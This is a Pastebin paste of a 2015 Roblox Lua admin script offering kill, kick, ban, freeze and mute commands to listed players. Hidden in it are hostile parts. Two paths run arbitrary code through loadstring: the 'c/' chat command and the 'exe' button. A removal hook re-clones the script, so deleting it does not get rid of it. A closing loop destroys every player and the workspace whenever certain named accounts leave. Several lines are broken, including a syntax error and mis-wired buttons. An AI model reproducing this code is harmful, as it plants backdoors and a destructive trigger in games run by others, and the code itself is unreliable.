Advertisement
jjhoweisuber22

300 Security Admin Tech ROBLOX

Feb 20th, 2015
493
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.26 KB | None | 0 0
  1. --[[
  2. Welcome to 300 Security Admin Techonlogy, To join the team, please send a private message to Wierdoguy300
  3. 300SecurityAdminTech. - All Rights Reserved
  4. 300SecurityAdminTech. - CopyRight 2012
  5. 300SecurityAdminTech. - Has Encrypted This File For An Anti-Pirating Act
  6. 300SecurityAdminTech. - Auto-Updating Feature Is Still In Progress
  7. 300SecurityAdminTech. - You Can Now Have A GUI Admin By Saying GUI(Not All GUI's Are Working)
  8. ------------------------------------SETTINGS------------------------------ ]]
  9. local Known_Bugs = {{"Report ANY Bugs To Wierdoguy300"},{"GUI Admin Sometimes Does Not Load Properly Or At All", "Status: 55% Patched"}}
  10. local version = 0 + .1 / .1 - .9 + .9 - .9 + -.1 + 4 + .1 --Dont mess with this as it may cause the commands to break down
  11. print(script.Name.." Version "..version.." Loaded!")
  12. local admins = {"DeadlyShroom", "tootalljj"} --Not CAsE SeNSitiVe
  13. local banned = {"xXrobin827Xx", "superluigiguy45"}
  14. local symbol = "/"
  15. local txthelp = ""
  16. local txtnum = 0
  17. local Admin_Updater = version
  18. local sym = #symbol
  19. local ablist = {"LordiPhone", "wierdoguy300"}
  20. local blocked = {"xXrobin827Xx", "superluigiguy45", "baragara"}
  21. local abplayer = nil
  22. local abtime = 30
  23. local here = true
  24. local override=false
  25. local cmd = {{"Kill", "Kills A Player", "kill/player"}, {"Kick", "Kicks A Player", "kick/player"}, {"Ban", "Bans A Player", "ban/player"}, {"ff", "Gives Player A ForceField", "ff/player"}, {"unff", "Removes Players ForceField", "unff/player"}, {"epic", "Gives Player Unlimited Health", "epic/player"}}
  26. local tnum = 0
  27. ------------------------------------END OF SETTINGS--------------------------
  28. script.Name="300SecurityAdminTech"
  29. create = function(txt)
  30. local s = Instance.new("ScreenGui", script)
  31. s.Name = "A_New_Alert"
  32. local t = Instance.new("TextLabel", s)
  33. t.Name = "A_New_Alert"
  34. t.Text = ""
  35. t.Visible = true
  36. t.Position = UDim2.new(0, 0, 0.199999976, 0)
  37. t.Size = UDim2.new(1, 0, 0.0500000045, 0)
  38. t.TextColor3 = Color3.new(255, 255, 255)
  39. t.BackgroundColor3 = Color3.new(0, 0, 0)
  40. t.BorderColor3 = Color3.new(255, 255, 255)
  41. t.Font = "ArialBold"
  42. t.FontSize = "Size18"
  43. t.BackgroundTransparency = 1
  44. t.TextTransparency = 1
  45. for i,p in pairs(game.Players:GetPlayers()) do
  46. s:Clone().Parent = p.PlayerGui
  47. p.PlayerGui.A_New_Alert.A_New_Alert.Text = "[300SecurityAdminTech] "..txt
  48. for i=1,20 do
  49. p.PlayerGui.A_New_Alert.A_New_Alert.TextTransparency = p.PlayerGui.A_New_Alert.A_New_Alert.TextTransparency - .05
  50. p.PlayerGui.A_New_Alert.A_New_Alert.BackgroundTransparency = p.PlayerGui.A_New_Alert.A_New_Alert.BackgroundTransparency - .05
  51. wait(0.01)
  52. end
  53. end
  54. end
  55. left = function(player)
  56. for i=1,#ablist do
  57. if string.lower(player.Name) == string.lower(ablist[i]) then
  58. here = false
  59. abplayer=player.Name
  60. end
  61. end
  62. end
  63.  
  64. game.Players.PlayerRemoving:connect(left)
  65.  
  66. GuiAdmin = function(player)
  67. local pri="Off"
  68. local sym = "/"
  69. make()
  70. local s = Instance.new("ScreenGui")
  71. s.Parent = game.Players:FindFirstChild(player).PlayerGui
  72. local nam = Instance.new("TextBox", s)
  73. nam.Text = "Value"
  74. nam.Position = UDim2.new(0, 0, 0.8, 0)
  75. nam.Size = UDim2.new(1, 0, 0.05, 0)
  76. nam.Font = "ArialBold"
  77. nam.FontSize = "Size12"
  78. nam.TextColor = BrickColor.new("Institutional white")
  79. nam.BackgroundColor = BrickColor.new("Really black")
  80. nam.BorderColor = BrickColor.new("Institutional white")
  81. local kill = Instance.new("TextButton", s)
  82. kill.Text = "Kill"
  83. kill.Position = UDim2.new(0.2, 0, 0.45, 0)
  84. kill.Size = UDim2.new(0.05, 0, .05, 0)
  85. kill.Style = "RobloxButton"
  86. kill.Font = "ArialBold"
  87. kill.FontSize = "Size12"
  88. kill.TextColor = BrickColor.new("Institutional white")
  89. kill.MouseButton1Click:connect(function()
  90. for i,v in pairs(game.Players:GetPlayers()) do
  91. if string.find(string.lower(nam.Text),string.lower(v.Name)) then
  92. v.Character.Humanoid.Health = nil
  93. end
  94. end
  95. end)
  96. local epic = Instance.new("TextButton", s)
  97. epic.Text = "Epic"
  98. epic.Position = UDim2.new(0.2, 0, 0.5, 0)
  99. epic.Size = UDim2.new(0.05, 0, .05, 0)
  100. epic.Style = "RobloxButton"
  101. epic.Font = "ArialBold"
  102. epic.FontSize = "Size12"
  103. epic.TextColor = BrickColor.new("Institutional white")
  104. epic.MouseButton1Click:connect(function()
  105. for i,v in pairs(game.Players:GetPlayers()) do
  106. if string.find(string.lower(nam.Text),string.lower(v.Name)) then
  107. v.Character.Humanoid.MaxHealth = math.huge
  108. end
  109. end
  110. end)
  111. local kick = Instance.new("TextButton", s)
  112. kick.Text = "Kick"
  113. kick.Position = UDim2.new(0.2, 0, 0.55, 0)
  114. kick.Size = UDim2.new(0.05, 0, .05, 0)
  115. kick.Style = "RobloxButton"
  116. kick.Font = "ArialBold"
  117. kick.FontSize = "Size12"
  118. kick.TextColor = BrickColor.new("Institutional white")
  119. kick.MouseButton1Click:connect(function()
  120. for i,v in pairs(game.Players:GetPlayers()) do
  121. if string.lower(nam.Text) == string.lower(v.Name) then
  122. v:Remove()
  123. end
  124. end
  125. end)
  126. local ff = Instance.new("TextButton", s)
  127. ff.Text = "FF"
  128. ff.Position = UDim2.new(0.2, 0, 0.6, 0)
  129. ff.Size = UDim2.new(0.05, 0, .05, 0)
  130. ff.Style = "RobloxButton"
  131. ff.Font = "ArialBold"
  132. ff.FontSize = "Size12"
  133. ff.TextColor = BrickColor.new("Institutional white")
  134. ff.MouseButton1Click:connect(function()
  135. for i,v in pairs(game.Players:GetPlayers()) do
  136. if string.find(string.lower(nam.Text),string.lower(v.Name)) then
  137. local f = Instance.new("ForceField", v.Character)
  138. end
  139. end
  140. end)
  141. local invisible = Instance.new("TextButton", s)
  142. invisible.Text = "Invisible"
  143. invisible.Position = UDim2.new(0.2, 0, 0.65, 0)
  144. invisible.Size = UDim2.new(0.05, 0, .05, 0)
  145. invisible.Style = "RobloxButton"
  146. invisible.Font = "ArialBold"
  147. invisible.FontSize = "Size12"
  148. invisible.TextColor = BrickColor.new("Institutional white")
  149. invisible.MouseButton1Click:connect(function()
  150. for i,v in pairs(game.Players:GetPlayers()) do
  151. if string.find(string.lower(nam.Text),string.lower(v.Name)) then
  152. for i,g in pairs(v.Character:GetChildren()) do
  153. if g.ClassName=="Part" then
  154. g.Transparency = 1
  155. end
  156. end
  157. end
  158. end
  159. end)
  160. local visible = Instance.new("TextButton", s)
  161. visible.Text = "Visible"
  162. visible.Position = UDim2.new(0.2, 0, 0.7, 0)
  163. visible.Size = UDim2.new(0.05, 0, .05, 0)
  164. visible.Style = "RobloxButton"
  165. visible.Font = "ArialBold"
  166. visible.FontSize = "Size12"
  167. visible.TextColor = BrickColor.new("Institutional white")
  168. visible.MouseButton1Click:connect(function()
  169. for i,v in pairs(game.Players:GetPlayers()) do
  170. if string.find(string.lower(nam.Text),string.lower(v.Name)) then
  171. for i,g in pairs(v.Character:GetChildren()) do
  172. if g.ClassName=="Part" then
  173. g.Transparency = 0
  174. end
  175. end
  176. end
  177. end
  178. end)
  179. local unff = Instance.new("TextButton", s)
  180. unff.Text = "Unff"
  181. unff.Position = UDim2.new(0.2, 0, 0.75, 0)
  182. unff.Size = UDim2.new(0.05, 0, .05, 0)
  183. unff.Style = "RobloxButton"
  184. unff.Font = "ArialBold"
  185. unff.FontSize = "Size12"
  186. unff.TextColor = BrickColor.new("Institutional white")
  187. unff.MouseButton1Click:connect(function()
  188. for i,v in pairs(game.Players:GetPlayers()) do
  189. if string.find(string.lower(nam.Text),string.lower(v.Name)) then
  190. v.Character:FindFirstChild("ForceField"):Destroy()
  191. end
  192. end
  193. end)
  194. local freeze = Instance.new("TextButton", s)
  195. freeze.Text = "Freeze"
  196. freeze.Position = UDim2.new(0.25, 0, 0.45, 0)
  197. freeze.Size = UDim2.new(0.05, 0, .05, 0)
  198. freeze.Style = "RobloxButton"
  199. freeze.Font = "ArialBold"
  200. freeze.FontSize = "Size12"
  201. freeze.TextColor = BrickColor.new("Institutional white")
  202. freeze.MouseButton1Click:connect(function()
  203. for i,v in pairs(game.Players:GetPlayers()) do
  204. if string.find(string.lower(nam.Text),string.lower(v.Name)) then
  205. v.Character.Head.Anchored = true
  206. end
  207. end
  208. end)
  209. local thaw = Instance.new("TextButton", s)
  210. thaw.Text = "Thaw"
  211. thaw.Position = UDim2.new(0.25, 0, 0.5, 0)
  212. thaw.Size = UDim2.new(0.05, 0, .05, 0)
  213. thaw.Style = "RobloxButton"
  214. thaw.Font = "ArialBold"
  215. thaw.FontSize = "Size12"
  216. thaw.TextColor = BrickColor.new("Institutional white")
  217. thaw.MouseButton1Click:connect(function()
  218. for i,v in pairs(game.Players:GetPlayers()) do
  219. if string.find(string.lower(nam.Text),string.lower(v.Name)) then
  220. v.Character.Head.Anchored = false
  221. end
  222. end
  223. end)
  224. local talk = Instance.new("TextButton", s)
  225. talk.Text = "m/"
  226. talk.Position = UDim2.new(0.25, 0, 0.55, 0)
  227. talk.Size = UDim2.new(0.05, 0, .05, 0)
  228. talk.Style = "RobloxButton"
  229. talk.Font = "ArialBold"
  230. talk.FontSize = "Size12"
  231. talk.TextColor = BrickColor.new("Institutional white")
  232. talk.MouseButton1Click:connect(function()
  233. local m = Instance.new("Message", game.Workspace)
  234. m.Text = nam.Text
  235. wait(3)
  236. m:Destroy()
  237. end)
  238. local exe = Instance.new("TextButton", s)
  239. exe.Text = "exe"
  240. exe.Position = UDim2.new(0.25, 0, 0.6, 0)
  241. exe.Size = UDim2.new(0.05, 0, .05, 0)
  242. exe.Style = "RobloxButton"
  243. exe.Font = "ArialBold"
  244. exe.FontSize = "Size12"
  245. exe.TextColor = BrickColor.new("Institutional white")
  246. exe.MouseButton1Click:connect(function()
  247. pcall(function()
  248. loadstring(nam.Text)()
  249. end)
  250. end)
  251. local shutdown = Instance.new("TextButton", s)
  252. shutdown.Text = "Shutdown"
  253. shutdown.Position = UDim2.new(0.25, 0, 0.65, 0)
  254. shutdown.Size = UDim2.new(0.05, 0, .05, 0)
  255. shutdown.Style = "RobloxButton"
  256. shutdown.Font = "ArialBold"
  257. shutdown.FontSize = "Size12"
  258. shutdown.TextColor = BrickColor.new("Institutional white")
  259. shutdown.MouseButton1Click:connect(function()
  260. for i,v in pairs(game.Players:GetPlayers()) do
  261. v:Destroy()
  262. end
  263. end)
  264. local private = Instance.new("TextButton", s)
  265. private.Text = "PriOn"
  266. private.Position = UDim2.new(0.25, 0, 0.7, 0)
  267. private.Size = UDim2.new(0.05, 0, .05, 0)
  268. private.Style = "RobloxButton"
  269. private.Font = "ArialBold"
  270. private.FontSize = "Size12"
  271. private.TextColor = BrickColor.new("Institutional white")
  272. private.MouseButton1Click:connect(function()
  273. pri="On"
  274. local h = Instance.new("Hint", game.Workspace)
  275. h.Text = "Private Server Status | "..pri.."."
  276. end)
  277. local prioff = Instance.new("TextButton", s)
  278. prioff.Text = "Prioff"
  279. prioff.Position = UDim2.new(0.25, 0, 0.75, 0)
  280. prioff.Size = UDim2.new(0.05, 0, .05, 0)
  281. prioff.Style = "RobloxButton"
  282. prioff.Font = "ArialBold"
  283. prioff.FontSize = "Size12"
  284. prioff.TextColor = BrickColor.new("Institutional white")
  285. prioff.MouseButton1Click:connect(function()
  286. pri="Off"
  287. local h = Instance.new("Hint", game.Workspace)
  288. h.Text = "Private Server Status | "..pri.."."
  289. end)
  290. local speed = Instance.new("TextButton", s)
  291. speed.Text = "Walkspeed"
  292. speed.Position = UDim2.new(0.3, 0, 0.75, 0)
  293. speed.Size = UDim2.new(0.05, 0, .05, 0)
  294. speed.Style = "RobloxButton"
  295. speed.Font = "ArialBold"
  296. speed.FontSize = "Size12"
  297. speed.TextColor = BrickColor.new("Institutional white")
  298. speed.MouseButton1Click:connect(function()
  299. for i,v in pairs(game.Players:GetPlayers()) do
  300. if string.lower(string.sub(nam.Text,1,#v.Name)) == string.lower(v.Name) then
  301. v.Character.Humanoid.WalkSpeed = string.sub(nam.Text,#v.Name + #sym + 1)
  302. end
  303. end
  304. end)
  305. local mute = Instance.new("TextButton", s)
  306. mute.Text = "Mute"
  307. mute.Position = UDim2.new(0.15, 0, 0.75, 0)
  308. mute.Size = UDim2.new(0.05, 0, .05, 0)
  309. mute.Style = "RobloxButton"
  310. mute.Font = "ArialBold"
  311. mute.FontSize = "Size12"
  312. mute.TextColor = BrickColor.new("Institutional white")
  313. mute.MouseButton1Click:connect(function()
  314. for i,v in pairs(game.Players:GetPlayers()) do
  315. if string.lower(v.Name) == string.lower(nam.Text) then
  316. v:SetSuperSafeChat(true)
  317. end
  318. end
  319. end)
  320. local unmute = Instance.new("TextButton", s)
  321. unmute.Text = "Unmute"
  322. unmute.Position = UDim2.new(0.15, 0, 0.7, 0)
  323. unmute.Size = UDim2.new(0.05, 0, .05, 0)
  324. unmute.Style = "RobloxButton"
  325. unmute.Font = "ArialBold"
  326. unmute.FontSize = "Size12"
  327. unmute.TextColor = BrickColor.new("Institutional white")
  328. mute.MouseButton1Click:connect(function()
  329. for i,v in pairs(game.Players:GetPlayers()) do
  330. if string.find(string.lower(nam.Text),string.lower(v.Name)) then
  331. v:SetSuperSafeChat(false)
  332. end
  333. end
  334. end)
  335. local msg = Instance.new("TextButton", s)
  336. msg.Text = "msg/"
  337. msg.Position = UDim2.new(0.3, 0, 0.7, 0)
  338. msg.Size = UDim2.new(0.05, 0, .05, 0)
  339. msg.Style = "RobloxButton"
  340. msg.Font = "ArialBold"
  341. msg.FontSize = "Size12"
  342. msg.TextColor = BrickColor.new("Institutional white")
  343. msg.MouseButton1Click:connect(function()
  344. for i,v in pairs(game.Players:GetPlayers()) do
  345. if string.lower(v.Name) == string.lower(string.sub(nam.Text,1,#v.Name)) then
  346. local m = Instance.new("Message", v.PlayerGui)
  347. m.Text = string.sub(name.Text,#v.Name + #sym + 1)
  348. wait(3)
  349. m:Destroy()
  350. end
  351. end
  352. end)
  353. local lock = Instance.new("TextButton", s)
  354. lock.Text = "RobloxLock"
  355. lock.Position = UDim2.new(0.15, 0, 0.65, 0)
  356. lock.Size = UDim2.new(0.05, 0, .05, 0)
  357. lock.Style = "RobloxButton"
  358. lock.Font = "ArialBold"
  359. lock.FontSize = "Size12"
  360. lock.TextColor = BrickColor.new("Institutional white")
  361. lock.MouseButton1Click:connect(function()
  362. game.workspace:FindFirstChild(nam.text).RobloxLocked = true
  363. end)
  364. end
  365.  
  366. Un_Removeable = function(old)
  367. if old==script then
  368. script:Clone().Parent = Workspace
  369. end
  370. end
  371.  
  372. alert = function(txxt)
  373. create(txxt)
  374. end
  375.  
  376. cleanup = function(time)
  377. wait(time)
  378. for i,p in pairs(game.Players:GetPlayers()) do
  379. if p.PlayerGui:FindFirstChild("A_New_Alert") then
  380. for i=1,20 do
  381. p.PlayerGui.A_New_Alert.A_New_Alert.TextTransparency = p.PlayerGui.A_New_Alert.A_New_Alert.TextTransparency + .05
  382. p.PlayerGui.A_New_Alert.A_New_Alert.BackgroundTransparency = p.PlayerGui.A_New_Alert.A_New_Alert.BackgroundTransparency + .05
  383. wait(0.01)
  384. end
  385. p.PlayerGui.A_New_Alert:Destroy()
  386. end
  387. end
  388. end
  389.  
  390. alert("300 Security Admin Made By Wierdoguy300 Version "..version..", Was Successfully Loaded!")
  391. cleanup(3)
  392.  
  393. local result = nil
  394. search = function(name)
  395. for _,p in pairs(game.Players:GetPlayers()) do
  396. if (string.find(string.lower(p.Name), name) == 1) then
  397. result = nil
  398. wait()
  399. result = p.Name
  400. end
  401. end
  402. end
  403.  
  404. debug = function(msg,speaker)
  405. if string.lower(msg)=="debug" then
  406. script:Destroy()
  407. end
  408. end
  409. commands = function(msg,speaker)
  410. if string.sub(msg,1,4 + sym) == "kill"..symbol then
  411. search(string.sub(msg,5 + sym))
  412. player = game.Players:FindFirstChild(result)
  413. player.Character.Humanoid.Health = 0
  414. alert(player.Name.." Has Been Killed")
  415. cleanup(2)
  416. end
  417. if string.lower(string.sub(msg,1,4 + sym)) == "kick"..symbol then
  418. search(string.sub(msg,5 + sym))
  419. player = game.Players:FindFirstChild(result)
  420. player:Destroy()
  421. alert(result.." Has Been Kicked.")
  422. cleanup(2)
  423. end
  424. if string.lower(string.sub(msg,1,3 + sym)) == "ban"..symbol then
  425. search(string.sub(msg,4 + sym))
  426. player = game.Players:FindFirstChild(result)
  427. table.insert(banned, player.name)
  428. player:Destroy()
  429. alert(result.." Has Been Banned.")
  430. cleanup(2)
  431. end
  432. if string.lower(string.sub(msg,1,2 + sym)) == "86"..symbol then
  433. search(string.sub(msg,3 + sym))
  434. player = game.Players:FindFirstChild(result)
  435. player:Destroy()
  436. end
  437. if string.lower(string.sub(msg,1,2 + sym)) == "ff"..symbol then
  438. search(string.sub(msg,3 + sym))
  439. player = game.Players:FindFirstChild(result)
  440. local f = Instance.new("ForceField", player.Character)
  441. alert(player.Name.." Now Has A ForceField.")
  442. cleanup(2)
  443. end
  444. if string.lower(string.sub(msg,1,4 + sym)) == "unff"..symbol then
  445. search(string.sub(msg,5 + sym))
  446. player = game.Players:FindFirstChild(result)
  447. for i,f in pairs(player.Character:GetChildren()) do
  448. if f.ClassName=="ForceField" then
  449. f:Destroy()
  450. end
  451. end
  452. alert(player.Name.." Lost Their ForceField")
  453. cleanup(2)
  454. end
  455. if string.sub(msg,1,4 + sym) == "epic"..symbol then
  456. search(string.sub(msg,5 + sym))
  457. player = game.Players:FindFirstChild(result)
  458. player.Character.Humanoid.MaxHealth = math.huge
  459. alert(player.Name.." Now Has Unlimited Health")
  460. cleanup(2)
  461. end
  462. if string.sub(msg,1,1 + sym) == "m"..symbol then
  463. alert(speaker.Name..": "..string.sub(msg,2 + sym))
  464. cleanup(2)
  465. end
  466. if string.sub(msg,1,1 + sym) == "c"..symbol then
  467. pcall(function()
  468. loadstring(string.sub(msg,2 + sym))()
  469. end)
  470. end
  471. if string.sub(msg,1,3 + sym) == "msg"..symbol then
  472. local m = Instance.new("Message", Workspace)
  473. m.Name="3SA_New_Message"
  474. m.Text = speaker.Name..": "..string.sub(msg,4 + sym)
  475. wait(3)
  476. m:Destroy()
  477. end
  478. if string.lower(msg) == "enable" then
  479. disabled = false
  480. alert("The Game has Been Re-Enabled")
  481. cleanup(2)
  482. end
  483. if string.lower(msg) == "disable" then
  484. disabled = true
  485. alert("The Game has Been Disabled")
  486. cleanup(2)
  487. end
  488. if string.lower(string.sub(msg,1,4 + sym)) == "warn"..symbol then
  489. local an = search(string.sub(msg,5 + sym))
  490. player = game.Players:FindFirstChild(result)
  491. table.insert(warn, 1, player.name)
  492. alert(player.Name.." has Been Warned, Do It Again And You Will Be Kicked!")
  493. end
  494. if string.lower(msg) == "fog" then
  495. game:service("Lighting").FogStart = 0
  496. game:service("Lighting").FogEnd = 100
  497. alert("The Server Has Been Fogged")
  498. cleanup(2)
  499. end
  500. if string.lower(string.sub(msg,1,6 + sym)) == "freeze"..symbol then
  501. local an = search(string.sub(msg,7 + sym))
  502. player = game.Players:FindFirstChild(result)
  503. for i,v in pairs(player.Character:GetChildren()) do
  504. if v.ClassName=="Part" then
  505. v.Anchored = true
  506. end
  507. end
  508. alert(player.Name.." Has Been Frozen")
  509. cleanup(2)
  510. end
  511. if string.lower(string.sub(msg,1,4 + sym)) == "thaw"..symbol then
  512. local an = search(string.sub(msg,5 + sym))
  513. player = game.Players:FindFirstChild(result)
  514. for i,v in pairs(player.Character:GetChildren()) do
  515. if v.ClassName=="Part" then
  516. v.Anchored = false
  517. end
  518. end
  519. alert(player.Name.." Has Been Thawed")
  520. cleanup(2)
  521. end
  522. if string.lower(msg) == "spawncage" then
  523. wall1 = Instance.new("Part", workspace)
  524. wall1.Size = Vector3.new(1, 20, 51)
  525. wall1.Anchored = true
  526. wall1.BrickColor = BrickColor.new("Really red")
  527. wall1.Transparency = 0.7
  528. wall1.TopSurface = "Smooth"
  529. wall1.BottomSurface = "Smooth"
  530. wall1.CFrame = CFrame.new(-25, 10, 0)
  531. wall2 = Instance.new("Part", workspace)
  532. wall2.Size = Vector3.new(51, 20, 1)
  533. wall2.Anchored = true
  534. wall2.BrickColor = BrickColor.new("Really red")
  535. wall2.Transparency = 0.7
  536. wall2.TopSurface = "Smooth"
  537. wall2.BottomSurface = "Smooth"
  538. wall2.CFrame = CFrame.new(0, 10, 25)
  539. wall3 = Instance.new("Part", workspace)
  540. wall3.Size = Vector3.new(1, 20, 51)
  541. wall3.Anchored = true
  542. wall3.BrickColor = BrickColor.new("Really red")
  543. wall3.Transparency = 0.7
  544. wall3.TopSurface = "Smooth"
  545. wall3.BottomSurface = "Smooth"
  546. wall3.CFrame = CFrame.new(25, 10, 0)
  547. wall4 = Instance.new("Part", workspace)
  548. wall4.Size = Vector3.new(51, 20, 1)
  549. wall4.Anchored = true
  550. wall4.BrickColor = BrickColor.new("Really red")
  551. wall4.Transparency = 0.7
  552. wall4.TopSurface = "Smooth"
  553. wall4.BottomSurface = "Smooth"
  554. wall4.CFrame = CFrame.new(0, 10, -25)
  555. roof = Instance.new("Part", workspace)
  556. roof.Anchored = true
  557. roof.Size = Vector3.new(51, 1, 51)
  558. roof.TopSurface = "Smooth"
  559. roof.BottomSurface = "Smooth"
  560. roof.BrickColor = BrickColor.new("Really black")
  561. roof.Locked = true
  562. roof.CFrame = CFrame.new(0, 20.5, 0)
  563. alert("Added A New SpawnCage")
  564. cleanup(2)
  565. end
  566. if string.lower(msg) == "clean" then
  567. for i,v in pairs(workspace:GetChildren()) do
  568. if game:GetService("Players"):GetPlayerFromCharacter(v) == nil then
  569. if v.className ~= "Terrain" then
  570. if v.className ~= "Camera" then
  571. if v~=script then
  572. if v.Name~="TinySB" then
  573. pcall(function() v:Destroy() end)
  574. end
  575. end
  576. end
  577. end
  578. end
  579. end
  580. local b = Instance.new("Part", Game:GetService("Workspace"))
  581. b.Size = Vector3.new(3000, 1, 3000)
  582. b.CFrame = CFrame.new(0, 0, 0)
  583. b.Name = "Base"
  584. b.BrickColor = BrickColor.new("Earth green")
  585. b.TopSurface = "Smooth"
  586. b.BottomSurface = "Smooth"
  587. b.LeftSurface = "Smooth"
  588. b.RightSurface = "Smooth"
  589. b.FrontSurface = "Smooth"
  590. b.BackSurface = "Smooth"
  591. b.Anchored = true
  592. b.Locked = true
  593. local sl = Instance.new("SpawnLocation", workspace)
  594. sl.Anchored = true
  595. sl.Locked = true
  596. sl.formFactor = "Plate"
  597. sl.Size = Vector3.new(6, 0.4, 6)
  598. sl.CFrame = CFrame.new(0, 0.6, 0)
  599. sl.BrickColor = BrickColor.new("Really black")
  600. sl.TopSurface = "Smooth"
  601. sl.BottomSurface = "Smooth"
  602. sl.LeftSurface = "Smooth"
  603. sl.RightSurface = "Smooth"
  604. sl.FrontSurface = "Smooth"
  605. sl.BackSurface = "Smooth"
  606. alert("The Workspace Has Been Cleaned")
  607. cleanup(2)
  608. end
  609. if string.lower(string.sub(msg,1,6+sym)) == "health"..symbol then
  610. local a = search(string.sub(msg,7+sym))
  611. local b = a+sym+1
  612. player = game.Players;FindFirstChild(result)
  613. player.Character.Humanoid.Health = b
  614. end
  615. if string.lower(string.sub(msg,1,3+sym)) == "nbc"..symbol then
  616. search(string.sub(msg,4+sym))
  617. player = game.Players:FindFirstChild(result)
  618. player.MembershipTypeReplicate = 0
  619. alert(result.." Now Has NBC")
  620. cleanup(2)
  621. end
  622. if string.lower(string.sub(msg,1,2+sym)) == "bc"..symbol then
  623. search(string.sub(msg,3+sym))
  624. player = game.Players:FindFirstChild(result)
  625. player.MembershipTypeReplicate = 1
  626. alert(result.." Now Has BC")
  627. cleanup(2)
  628. end
  629. if string.lower(string.sub(msg,1,3+sym)) == "tbc"..symbol then
  630. search(string.sub(msg,4+sym))
  631. player = game.Players:FindFirstChild(result)
  632. player.MembershipTypeReplicate = 2
  633. alert(result.." Now Has TBC")
  634. cleanup(2)
  635. end
  636. if string.lower(string.sub(msg,1,3+sym)) == "obc"..symbol then
  637. search(string.sub(msg,4+sym))
  638. player = game.Players:FindFirstChild(result)
  639. player.MembershipTypeReplicate = 3
  640. alert(result.." Now Has OBC")
  641. cleanup(2)
  642. end
  643. if string.lower(string.sub(msg,1,3 + sym)) == "GUI"..symbol then
  644. search(string.sub(msg,4+sym))
  645. GuiAdmin(result)
  646. end
  647. if string.lower(string.sub(msg,1,5+sym)) == "admin"..symbol then
  648. search(string.sub(msg,6+sym))
  649. player = game.Players:FindFirstChild(result)
  650. table.insert(admins, player.Name)
  651. alert(result.." Is Now A 300Security Admin")
  652. cleanup(2)
  653. end
  654. if string.lower(string.sub(msg,1,7+sym)) == "unadmin"..symbol then
  655. search(string.sub(msg,8+sym))
  656. player = game.Players:FindFirstChild(result)
  657. if result~="wierdoguy300" then
  658. table.remove(admins, player.Name)
  659. alert(result.." Is No Longer A 300Security Admin")
  660. cleanup(2)
  661. end
  662. end
  663. end
  664.  
  665. start = function(new)
  666. for i=1,#admins do
  667. if string.lower(new.Name)==string.lower(admins[i]) then
  668. new.Chatted:connect(function(msg) commands(msg,new) debug(msg,new) end)
  669. end
  670. end
  671. end
  672.  
  673. game.Players.PlayerAdded:connect(start)
  674.  
  675. game.Players.PlayerAdded:connect(function(new)
  676. for i=1,#banned do
  677. if string.lower(new.Name)==string.lower(banned[i]) then
  678. alert(new.Name.." Tried To Enter, But Was Banned By 300 Security Admin")
  679. new:Destroy()
  680. cleanup(2)
  681. end
  682. end
  683. end)
  684.  
  685. for i,p in pairs(game.Players:GetPlayers()) do
  686. start(p)
  687. end
  688.  
  689. Workspace.DescendantRemoving:connect(Un_Removeable)
  690.  
  691. game.Players.PlayerAdded:connect(function(player)
  692. for i=1,#banned do
  693. if player.name~=banned[i] then
  694. alert(player.name.." Has Entered The Server!")
  695. end
  696. end
  697. end)
  698.  
  699. game.Players.PlayerRemoving:connect(function(player)
  700. for i=1,#admins do
  701. if string.lower(player.Name)==string.lower(admins[i]) then
  702. abplayer = player.Name
  703. here = false
  704. end
  705. end
  706. alert(player.Name.." Has Left The Server!")
  707. cleanup(2)
  708. end)
  709.  
  710. game.Workspace.DescendantAdded:connect(function(obj)
  711. if disabled==true then
  712. dbh = new.name
  713. new:Destroy()
  714. alert(dbh.." Was Blocked")
  715. cleanup(2)
  716. end
  717. end)
  718.  
  719.  
  720. while wait() do
  721. if here==false then
  722. for i,p in pairs(game.Players:GetChildren()) do
  723. for i,w in pairs(game.Workspace:GetChildren()) do
  724. local m = Instance.new("Message", game.Workspace)
  725. m.Text = abplayer.." Has Been Kicked Or Banned, You Will Now Be Punished."
  726. p:Destroy()
  727. if w.Classname~="Terrain" or "Camera" then
  728. w:Destroy()
  729. m:Destroy()
  730. end
  731. end
  732. end
  733. end
  734. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement